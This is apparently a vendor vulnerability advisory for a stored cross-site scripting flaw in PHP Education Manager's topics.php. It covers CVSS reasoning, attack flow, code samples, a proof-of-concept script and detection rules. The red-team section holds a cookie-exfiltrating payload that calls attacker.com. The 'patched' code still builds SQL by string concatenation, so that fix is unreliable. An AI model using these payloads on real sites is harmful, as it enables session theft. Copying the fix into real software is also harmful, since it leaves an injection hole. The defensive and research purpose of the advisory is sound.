CVE-2025-60782
Executive Summary
CVE-2025-60782 is a stored Cross-Site Scripting (XSS) vulnerability in PHP Education Manager v1.0, specifically within the topics management module (topics.php). An attacker with low-level privileges can inject malicious JavaScript payloads into the Title field during topic creation or updates. This payload is stored on the server and executed in the browser of any administrator or user who views the affected topics page, leading to session hijacking, credential theft, or defacement. The vulnerability is unpatched, and no official fix has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:
- Attack Vector (AV): Network (N) – The attack is performed over HTTP.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid user account with topic creation/update permissions.
- User Interaction (UI): Required (R) – The victim must visit the topics page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., admin session).
- Confidentiality (C): Low (L) – Potential access to session tokens or sensitive data.
- Integrity (I): Low (L) – Possible defacement or data manipulation.
- Availability (A): None (N) – No direct impact on availability.
Estimated CVSS Score: 5.4 (Medium)
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction and low privileges.
Deep Dive & Mechanics
The vulnerability resides in the topics.php script of PHP Education Manager v1.0. The application fails to sanitize or encode user-supplied input in the Title field when creating or updating a topic. When an attacker submits a payload such as <script>alert('XSS')</script>, it is stored in the database without proper escaping. When an administrator or any user navigates to the topics list, the malicious script is rendered in the browser, executing in the context of the victim's session.
Attack Flow:
- Attacker logs in with a low-privilege account.
- Attacker navigates to
topics.phpand creates a new topic with a malicious JavaScript payload in theTitlefield. - The payload is stored in the database.
- An administrator or other user visits the topics list page.
- The stored payload executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.
Vulnerable vs. Patched Code
Vulnerable Code (PHP Education Manager v1.0):
// topics.php (vulnerable)
$title = $_POST['title'];
$query = "INSERT INTO topics (title) VALUES ('$title')";
mysqli_query($conn, $query);
Patched Code (Hypothetical Fix):
// topics.php (patched)
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO topics (title) VALUES ('$title')";
mysqli_query($conn, $query);
The fix uses htmlspecialchars() to encode special HTML characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- PHP Education Manager v1.0 installed and accessible.
- A valid user account with topic creation privileges.
Exploit Steps:
- Log in to the application.
- Navigate to
topics.php. - Submit a new topic with the following payload in the
Titlefield:<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Wait for an administrator to view the topics list.
- The cookie will be exfiltrated to the attacker's server.
Proof-of-Concept (PoC) Script:
import requests
target = "http://target.com/topics.php"
session = requests.Session()
# Login (adjust credentials)
login_data = {"username": "attacker", "password": "password123"}
session.post("http://target.com/login.php", data=login_data)
# Inject XSS payload
payload = {"title": "<script>alert('XSS')</script>"}
session.post(target, data=payload)
print("Payload injected. Wait for admin to visit topics.php.")
Blue Team (Defense & Detection)
Detection Steps:
- Monitor HTTP requests to
topics.phpfor unusualtitleparameters containing<script>or event handlers. - Review web server logs for POST requests with suspicious payloads.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use Web Application Firewall (WAF) rules to filter XSS patterns.
Mitigation:
- Apply input validation and output encoding (e.g.,
htmlspecialchars()). - Upgrade to a patched version if available.
- Restrict topic creation privileges to trusted users only.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/topics.phpwithtitleparameter containing<script>tags. - Outbound connections to unknown domains from the application server (data exfiltration).
- HTTP POST requests to
- File IOCs:
- Log entries in
access.logshowingtopics.phpwith encoded JavaScript in thetitleparameter.
- Log entries in
- Behavioral IOCs:
- Unexpected JavaScript execution in the browser when viewing topics.
- Unauthorized administrative actions performed by low-privilege users.
Detection Engineering
YARA Rule
rule CVE_2025_60782_XSS_Payload {
meta:
description = "Detects XSS payloads targeting PHP Education Manager topics.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-60782"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /on\w+\s*=\s*['\"].*['\"]/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: XSS Payload in topics.php Title Field
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS attempts in PHP Education Manager topics.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/topics.php'
cs-uri-query|contains: 'title='
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in titles (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60782 XSS Payload in topics.php"; flow:to_server,established; content:"POST"; http_method; content:"/topics.php"; http_uri; content:"title="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable topic creation/update functionality for untrusted users.
- Apply a Web Application Firewall (WAF) rule to block XSS payloads.
- Manually sanitize the
titlefield intopics.phpusinghtmlspecialchars().
Long-Term Fix:
- The vendor should release a patched version with proper input validation and output encoding.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct a full security audit of the application.
Monitoring:
- Enable detailed logging for
topics.phpand monitor for suspicious patterns. - Use the provided YARA, Sigma, and Suricata rules for detection.
- Enable detailed logging for
Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.